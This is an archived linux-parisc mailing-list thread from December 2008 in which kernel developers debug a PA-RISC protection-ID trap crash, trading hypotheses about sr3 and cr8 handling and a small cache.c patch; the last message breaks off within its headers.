Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751435AbYLUWLN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:11:13 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4763 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751380AbYLUWLN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:11:13 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id EADEE4F19; Sun, 21 Dec 2008 17:11:11 -0500 (EST)
In-Reply-To: <20081221213303.GE12880@bombadil.infradead.org> from "Kyle McMartin" at Dec 21, 2008 04:33:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1009>

> On Sun, Dec 21, 2008 at 12:27:42PM -0500, John David Anglin wrote:
> > > I think the bug may be in flush_user_cache_page_non_current.  It hijacks
> > > sr3 temporarily and I don't think cr8 is updated when this is done.  The
> > > switch may need to be atomic.
> > 
> > The following might fix the protection ID bug.
> > 
> 
> I'm not convinced... this doesn't explain why we don't see this on
> 64-bit...

Agreed.  However, we do have tlb issues on 64-bit and this is just about
the only place where sr3 is messed with and cr8 isn't correctly set.
I'm sure the bug is somewhat timing dependent.

There has to be something else that causes a userspace access
with inconsistent space and protection IDs.  The cache flush can cause
non access tlb misses, and there is some difference in tlb hardware,
but cr8 isn't involved in the tlb miss handling as far as I can see.

I'm running with the patch on 2.6.28-rc8 (SMP) and 2.6.22.19 (UP).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 17:20:05 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20081221222005.GB30144@bombadil.infradead.org>
References: <20081219212906.GG8945@bombadil.infradead.org> <20081221152017.102C84F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229898021 3536 80.91.229.12 (21 Dec 2008 22:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:20:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 23:21:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEWfs-0007RM-8b
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 23:21:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751273AbYLUWUJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:20:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751435AbYLUWUJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:20:09 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36104 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751273AbYLUWUI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:20:08 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEWeb-0004wp-O6; Sun, 21 Dec 2008 22:20:05 +0000
Content-Disposition: inline
In-Reply-To: <20081221152017.102C84F19@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1010>

On Sun, Dec 21, 2008 at 10:20:16AM -0500, John David Anglin wrote:
> > Honestly, I can't decide whether to apply this. It really should never
> > happen in the kernel, since the kernel can guarantee it won't get the
> > access rights failure (highest privilege level, and can set %sr and
> > %protid to whatever it wants.)
> 
> I believe this change should be applied because we enable P and the
> hardware can generate the exception.  Yes, it should never happen, but
> the coding to prevent this occurring is very subtle.
> 

If we're going to paper over a bug like this, we might as well just turn
the P-bit off...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 17:48:57 -0500 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <20081221224858.7DDAB4F19@hiauly1.hia.nrc.ca>
References: <20081221222005.GB30144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229899751 8399 80.91.229.12 (21 Dec 2008 22:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:49:11 +0000 (UTC)
Cc: kyle@infradead.org, deller@gmx.de, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 23:50:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEX7n-0007F9-GA
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 23:50:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751547AbYLUWtA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:49:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751635AbYLUWtA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:49:00 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4994 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751529AbYLUWs7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:48:59 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7DDAB4F19; Sun, 21 Dec 2008 17:48:58 -0500 (EST)
In-Reply-To: <20081221222005.GB30144@bombadil.infradead.org> from "Kyle McMartin" at Dec 21, 2008 05:20:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1011>

> 
> On Sun, Dec 21, 2008 at 10:20:16AM -0500, John David Anglin wrote:
> > > Honestly, I can't decide whether to apply this. It really should never
> > > happen in the kernel, since the kernel can guarantee it won't get the
> > > access rights failure (highest privilege level, and can set %sr and
> > > %protid to whatever it wants.)
> > 
> > I believe this change should be applied because we enable P and the
> > hardware can generate the exception.  Yes, it should never happen, but
> > the coding to prevent this occurring is very subtle.
> > 
> 
> If we're going to paper over a bug like this, we might as well just turn
> the P-bit off...

I just want a segv instead of a panic as I don't think we know whether
the kernel is bad or not.

This bug has been around for for some time.  I believe that it was reported
in 2004, or earlier.

Even HP has problems.  Saw this today:

Release Date: Nov 19 2008
Description :   PHKL_39110: ( QX:QXCR1000827621 ) The system can panic with
 the following panic string and stack trace. Panic string : Data memory
 protection/access rights/alignment fault FUNC panic+0x6c
 report_trap_or_int_and_panic+0x94 interrupt+0x4e4 ihandler+0x940
+-------------  TRAP  ----------------------------
|  Trap type 18 in KERNEL mode at 0x38f50 (lbcopy+0x1f0)
|  p struct save_state 0.0x189cc60
+-------------  TRAP  ----------------

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 23:52:10 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <494EC89A.9000802@gmx.de>
References: <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229899943 8916 80.91.229.12 (21 Dec 2008 22:52:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:52:23 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 23:53:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEXAu-0007F9-7q
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 23:53:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750744AbYLUWwN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:52:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751106AbYLUWwN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:52:13 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:39456 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750744AbYLUWwN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:52:13 -0500
Original-Received: (qmail invoked by alias); 21 Dec 2008 22:52:10 -0000
Original-Received: from mnhm-590e011a.pool.einsundeins.de (EHLO halden.box) [89.14.1.26]
  by mail.gmx.net (mp064) with SMTP; 21 Dec 2008 23:52:10 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX187Nm0MwRQ7SmXn0+Hn3vS9Z8Yan0rSeVLl3kHn/y
	eIrnOTzYsCdl0v
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1012>

John David Anglin wrote:
>> I think the bug may be in flush_user_cache_page_non_current.  It hijacks
>> sr3 temporarily and I don't think cr8 is updated when this is done.  The
>> switch may need to be atomic.
> 
> The following might fix the protection ID bug.
> 
> --- cache.c.orig	2008-07-17 21:24:46.000000000 -0400
> +++ cache.c	2008-12-21 11:53:54.000000000 -0500
> @@ -312,14 +312,14 @@
>  
>  	/* make us current */
>  	mtctl(__pa(vma->vm_mm->pgd), 25);
> -	mtsp(vma->vm_mm->context, 3);
> +	load_context(vma->vm_mm->context);
>  
>  	flush_user_dcache_page(vmaddr);
>  	if(vma->vm_flags & VM_EXEC)
>  		flush_user_icache_page(vmaddr);
>  
>  	/* put the old current process back */
> -	mtsp(space, 3);
> +	load_context(space);

I came to the similar conclusion and tried exactly this patch earlier
today. It didn't fixed the problem (although I had the feeling that the
bug didn't appeared as often then).

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 17:52:33 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <20081221225233.8117E4F19@hiauly1.hia.nrc.ca>
References: <20081221220259.GA30144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229899965 8966 80.91.229.12 (21 Dec 2008 22:52:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:52:45 +0000 (UTC)
Cc: kyle@infradead.org, deller@gmx.de, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 23:53:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEXBF-0007F9-FB
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 23:53:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751106AbYLUWwe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:52:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751349AbYLUWwe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:52:34 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1041 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751106AbYLUWwe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:52:34 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8117E4F19; Sun, 21 Dec 2008 17:52:33 -0500 (EST)
In-Reply-To: <20081221220259.GA30144@bombadil.infradead.org> from "Kyle McMartin" at Dec 21, 2008 05:02:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1013
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1013>

> Nope, no love... :\

Sigh, I knew it.

Did any of your instrumentation trigger?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 17:58:36 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20081221225837.1D1404F19@hiauly1.hia.nrc.ca>
References: <494EC89A.9000802@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229900331 9992 80.91.229.12 (21 Dec 2008 22:58:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:58:51 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 23:59:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEXH7-0001N0-PP
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 23:59:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751571AbYLUW6i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:58:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751633AbYLUW6i
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:58:38 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1081 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751568AbYLUW6i (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:58:38 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1D1404F19; Sun, 21 Dec 2008 17:58:36 -0500 (EST)
In-Reply-To: <494EC89A.9000802@gmx.de> from "Helge Deller" at Dec 21, 2008 11:52:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1014>

> > -	mtsp(space, 3);
> > +	load_context(space);
> 
> I came to the similar conclusion and tried exactly this patch earlier
> today. It didn't fixed the problem (although I had the feeling that the
> bug didn't appeared as often then).

Ok, then maybe load_context needs to be atomic.  This is a bit tricky
because we may have to ensure that no tlb misses are triggered (relied
upon translation) during the update.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 23:59:07 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <494ECA3B.1030309@gmx.de>
References: <20081221152017.102C84F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229900361 10075 80.91.229.12 (21 Dec 2008 22:59:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:59:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 00:00:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEXHd-0001N0-Ca
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 00:00:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751633AbYLUW7K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:59:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751642AbYLUW7K
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:59:10 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:57795 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751633AbYLUW7I (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:59:08 -0500
Original-Received: (qmail invoked by alias); 21 Dec 2008 22:59:06 -0000
Original-Received: from mnhm-590e011a.pool.einsundeins.de (EHLO halden.box) [89.14.1.26]
  by mail.gmx.net (mp016) with SMTP; 21 Dec 2008 23:59:06 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+NHl4w4bqNFoa7OQGA8OcTf+o2hEa6Yo34JggBDk
	N9sc/de1JFwWc1
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081221152017.102C84F19@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.62
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1015>

John David Anglin wrote:
> Having looked at the code a bit, I have come to the conclusion that the
> problem is not with the sr3 value.  

In all debugging I added I could _always_ see that sr3 had the wrong
values. cr8 and mm->context were always correct.
Interestingly it was often just a few numbers off in the lower 4 bits,
e.g. sr3 should have been 0x1a8 but was 0x1a2 (just an example).

> We have a one-to-one mapping between
> space register values and protection IDs.  TLB entries get inserted using
> the space register value for the protection ID (see entry.S).  So, I think
> we have to have inconsistent values in cr8 and sr3.

Again, only sr3 is wrong. cr8 is correct.

> I think the bug may be in flush_user_cache_page_non_current.  It hijacks
> sr3 temporarily and I don't think cr8 is updated when this is done.  The
> switch may need to be atomic.

I tried that as well, e.g. adding local_irq_[en|dis]able didn't worked
(it crashed IIRC).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 00:08:47 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <494ECC7F.2010702@gmx.de>
References: <20081221225837.1D1404F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229900939 11768 80.91.229.12 (21 Dec 2008 23:08:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 23:08:59 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 00:10:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEXQy-0003xN-Bt
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 00:10:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751515AbYLUXIt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 18:08:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751642AbYLUXIt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 18:08:49 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:51675 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751603AbYLUXIs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 18:08:48 -0500
Original-Received: (qmail invoked by alias); 21 Dec 2008 23:08:46 -0000
Original-Received: from mnhm-590e011a.pool.einsundeins.de (EHLO halden.box) [89.14.1.26]
  by mail.gmx.net (mp054) with SMTP; 22 Dec 2008 00:08:46 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19tt/8E9URtM6fnY1SPoMMrmp1NyOJsCrPJsiDde9
	UGGFdqyO3qw84y
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081221225837.1D1404F19@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1016>

John David Anglin wrote:
>>> -	mtsp(space, 3);
>>> +	load_context(space);
>> I came to the similar conclusion and tried exactly this patch earlier
>> today. It didn't fixed the problem (although I had the feeling that the
>> bug didn't appeared as often then).
> 
> Ok, then maybe load_context needs to be atomic.  This is a bit tricky
> because we may have to ensure that no tlb misses are triggered (relied
> upon translation) during the update.

I'll try tomorrow.

What makes me wondering:

a) the bug always triggers AFAICS with applications which uses threads
(for the ruby1.9 problem it's always the miniruby process). Maybe the
problem happens to something being wrong in the signal handler with
threadened applications, e.g. arch/parisc/kernel/signal.c:648 ?

b) maybe stupid question: In the case it's a generic processor problem,
would e.g. changing the kernel to use sr4 instead of sr3 for
userspace-accesses change something? What does HPUX uses? At least one
could try...?


Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 19:07:45 -0500 (EST)
Lines: 67
Approved: news@gmane.org
Message-ID: <20081222000745.B9C6F4E99@hiauly1.hia.nrc.ca>
References: <494ECC7F.2010702@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229904482 20904 80.91.229.12 (22 Dec 2008 00:08:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 00:08:02 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 01:09:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
